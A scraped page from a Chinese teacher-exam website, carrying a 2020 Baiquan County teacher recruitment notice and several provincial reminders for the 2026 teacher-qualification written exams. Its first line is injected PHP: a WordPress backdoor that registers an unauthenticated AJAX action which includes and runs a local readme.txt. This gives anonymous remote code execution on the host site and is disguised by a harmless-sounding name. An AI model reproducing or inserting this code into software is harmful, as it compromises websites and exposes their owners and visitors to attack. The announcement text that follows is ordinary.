if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
黑龙江拜泉县2020年招聘教师120人公告-全国教师资格考试网

黑龙江拜泉县2020年招聘教师120人公告

  根据《黑龙江省事业单位公开招聘人员暂行办法》(黑办发[2006]32号)和《关于进一步做好我省县乡事业单位公开招聘工作的通知》(黑人社规[2018]6号)及县中小学校编制空缺情况,经拜泉县政府研究,决定面向社会公开招聘中小学教师,现将有关事宜公告如下:

  一、招聘单位简介

  本次招聘单位为拜泉县第一中学,拜泉县第四中学,拜泉县职业教育中心学校,拜泉县第三中学,拜泉县第五中学,拜泉县文化小学,拜泉县实验小学,拜泉县育英小学,拜泉县星耀小学,以上学校均为财政全额拔款一类事业单位。

  二、招聘计划及条件

  (一)招聘计划

  本次计划公开招聘120人,具体岗位和要求详见附件1:《2020年拜泉县公开招聘中小学教师计划表》。

  (二)报名条件

  1、具有中华人民共和国国籍,拥护中国共产党的领导,遵守中华人民共和国宪法、法律,品行端正;

  2、热爱教育事业并志愿从事教学工作,具有良好的政治思想道德素质;

  3、具有与应聘岗位相适应的职业道德素养、专业知识水平、教学技能条件和心理素质,身体健康,品行端正,无劣迹;

  4、岗位所需的其他条件。

  (三)下列人员不得报考

  1、曾犯罪受过刑事处罚人员;

  2、曾被开除公职人员;

  3、有违纪处分且未解除人员、公务员、事业单位辞退未满5年的人员;

  4、机关事业单位新录用试用期、服务期未满的人员;

  5、在各类招考过程中被主管机关认定有考试作弊行为的人员且尚有记录的;

  6、报考人员不得报考聘用后即构成回避关系的招聘岗位;

  7、有精神病史的人员;

  8、相关法律、法规规定不得报考的人员。

  9、拜泉县教育系统编制内教师(含服务期内特岗教师)。

  三、实施步骤

  本次招聘工作由县人社局、县教育局组织实施,纪委监委全程监督。

  (一)报名工作

  1、报名时间:2020年8月 1日09:00–8月8 日17:00。

  2、根据黑龙江省财政厅、黑龙江省发展和改革委员会《关于省直事业单位公开招聘工作人员考试继续收取考试费的通知》(黑财税【2020】3号)文件规定,本次考试收取笔试费用每人45元,面试不收费。报考人员须即时开通支付宝办理相关业务,考生如在报名结束后两天(8月10日16时)未按期缴费者将视为自动放弃报考。特困大学生先正常缴纳考试费用,然后凭市、区、县(市)级民政部门或扶贫办出具的享受最低生活保障金证明、低保证(原件、复印件)或农村建档立卡贫困户证明到拜泉县人社局审核确认后,返还考试费用。

  3、报名方式:网上报名。由招聘单位及主管部门对考生的报名资格进行网上资格审查确认。

  网上报名网址为:(https://bq2020.ibaoming.net/)。具体网上报名操作及说明详见网站。

  4、报名技术支持电话: 400-1629-400

  报名政策咨询电话: 0452-7669175,7668679

  纪检监督电话: 0452-7668817

  (二)报名注意事项

  1、报考人员只限报一个岗位;

  2、2020届高校毕业生以及2018、2019届离校未就业的高校毕业生,未取得教师资格证的,符合人社部发〔2020〕24号《关于应对新冠肺炎疫情影响实施部分职业资格“先上岗、再考证”阶段性措施的通知》(对中小学、幼儿园、中等职业学校教师资格实施“先上岗、再考证”阶段性措施,凡符合教师资格考试报名条件和教师资格认定关于思想政治素质、普通话水平、身体条件等要求的高校毕业生,可以先上岗从事教育教学相关工作,再参加考试并取得教师资格)和《黑龙江省人民政府办公厅印发关于统筹推进疫情防控和稳就业工作若干措施的通知》(离校未就业毕业生可将户口、档案在学校保留两年或转入生源地公共就业人才服务机构,以应届毕业生身份参加用人单位考试、录用)要求的,现场资格确认时须提供档案所在学院或生源地公共就业人才服务机构出具的人事档案管理证明参加报考。

  3、在职人员现场资格确认时需出具所在单位及单位的主管部门同意报考意见信函。

  4、对报考人员资格全程审核,报考时要信守承诺,如实提交有关信息和材料,凡不符报考资格、弄虚作假的或有违背相关法律法规报考的,无论在哪个环节发现问题一经查实,即取消考试资格或聘用资格,后果自负。

  5、岗位招聘计划与报考人数之比原则上应不低于1:3,达不到报考比例的,将缩减招聘人数或取消该招聘岗位。紧缺、急需岗位经市人社局批准,可根据实际情况适当降低比例。

  6、笔试、面试时间、地点等相关考试信息在拜泉县政府网WWW.baiquan.gov.cn 和https://bq2020.ibaoming.net/发布,不另行通知。

  (三)政策加分

  依据黑政办发〔2009〕30号和黑政办发〔2013〕42号文件规定,“项目生”(“项目生”指参加“选聘高校毕业生到村任职”、“三支一扶计划”、“大学生志愿服务西部计划”、“农村义务教育阶段学校教师特设岗位计划”、“村村大学生计划”且服务期满的普通高等学校毕业生)服务期满、考核合格后3年内报考县直事业单位笔试加10分;在城乡基层公益性岗位工作满2年的高校毕业生和高校毕业生服兵役期满退役的大学生士兵,参加事业单位考试可享受“项目生”加分政策。具备多个加分条件的考生,只取最高加分项目,不累计加分。

  要求享受加分政策的考生,须在报名时上传政策性加分相关的佐证材料,同时现场资格确认时,须携带佐证材料到现场审核。

  (四)考试环节

  本次公开招聘考试由县人社局负责组织实施,采取笔试与面试相结合的方式进行。笔试、面试均实行100分制,笔试成绩占总成绩40%,面试成绩占总成绩的60%,总成绩计算方法:总成绩=笔试成绩(含政策性加分)×40%+面试成绩×60%。

  1、笔试

  笔试方式为闭卷考试。笔试科目为《公共科目》和《专业科目》两科内容,一套试卷,《公共科目》主要考察考生政治理论知识、思想道德修养、法律常识、国际国内时事、科技知识、历史地理常识;《专业科目》主要考察考生对教育理论和《教育学》、《心理学》知识掌握程度。满分为100分,考试时间为120分钟。考生个人健康状况《承诺书》须考生自行添加本人照片后打印,并由考生本人签字。笔试考试当天进入考场时统一交至本考场监考教师处。

  2、现场资格确认

  (1)考生须根据拜泉县政府网站发布的现场资格确认通知,按时携带本人报名登记表(报名网站自行打印)、本人有效身份证、毕业证、报到证(就业通知书)、教育部学历证书电子注册备案表及报考岗位要求的相关材料等原件及复印件各一份,进行现场资格确认。

  (2)凡提供的相关材料、主要信息不实或与招聘岗位要求不一致及自愿放弃现场资格确认的,均视为现场资格确认不合格,空缺的根据笔试总成绩由高分到低分进行递补。

  3、笔试成绩及进入面试人员名单公布

  笔试结束后,依据考生的笔试成绩(含政策性加分)由高到低顺序,按招聘岗位人数1:3的比例确定参加面试人选,若同一岗位最后一名笔试成绩并列,则相应扩大进入面试人选。

  进入面试人员名单在网站公示3个工作日。

  4、面试

  面试采取试讲的方式进行,主要考察应聘人员的学科知识、教学设计与实施及教学基本技能。采取仿真课堂的形式,面对评委讲课,讲课时无师生对话和答疑。试讲题目由面试评委组命题,教师招聘工作领导小组抽签决定。试讲时只提供黑板和粉笔,考生准备时间为20分钟,试讲时间为10分钟。由县人社局组织实施,县纪委监委进行监督。设面试考官组,每组7人组成。考生采取两次抽签当场确定面试顺序号依次进入考场进行面试。面试成绩由考官现场打分,工作人员现场记分,去掉一个最高分,去掉一个最低分,然后计算平均分(保留小数点后两位),面试成绩当场公布。面试成绩低于60分的考生,不予聘用。

  面试结束后,将总成绩公示3个工作日,并按招聘职位1:1的比例由高分到低分确定考核和体检人员名单。若考试总成绩出现并列,以下列顺序确定优先:符合黑政发〔2009〕30号、黑政办发〔2013〕42号文件相关政策的、面试成绩高的。

  (五)考核和体检

  由用人单位和主管部门组成考核组进行考核。重点考核应聘者在思想政治素质、道德品质等方面的表现,同时复查报名资格。考核不合格或复查不合格人员取消聘用资格,空出岗位按招聘岗位总成绩由高到低依次递补。

  由县人社局对考核合格者统一进行体检,体检费用自理,体检标准参照《关于认真做好对申请教师资格人员身体健康检查工作的通知》(黑教师办[2004]44号)的有关要求执行。进入体检人员如果不按规定的时间、地点参加体检,将被视作体检不合格。应聘人员体检不合格的,取消聘用资格,空出的岗位不再递补。

  (六)公示和聘用

  经考核、体检合格后,将拟聘用人员名单在网站公示7个工作日,公示期满无异议者,按照《事业单位人事管理条例》办理相关聘用手续,并报市人力资源和社会保障局备案。公示期满后,如有岗位空缺不再进行递补。

  (七)试用期

  试用期为6个月(初次就业的试用期为1年)。试用期满,由招聘单位进行试用期考核,经考核胜任本职岗位工作的,正式办理相关聘用手续,不能胜任本岗位工作的,取消聘用资格,并报市人社局备案。

  四、相关待遇

  (一)被聘用人员纳入事业编制管理,享受在编人员相应待遇。

  (二)被聘用人员的聘用岗位及职称,由聘用单位结合实际岗位设置等有关情况确定。

  (三)最低服务期满5年。

  本公告由拜泉县人社局负责解释,未尽事宜由县公开招聘领导小组研究决定。   

  附件1:《2020年拜泉县公开招聘中小学教师计划表》;

  附件2: 关于疫情防控的特别提示;

  附件3: 考生个人健康状况《承诺书》     

 edit/uploadfile/20207/2020-7-28-13-3-19.xls

edit/uploadfile/20207/2020-7-28-13-3-33.doc

edit/uploadfile/20207/2020-7-28-13-3-45.doc

拜泉县人力资源和社会保障局

2020年7月28日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部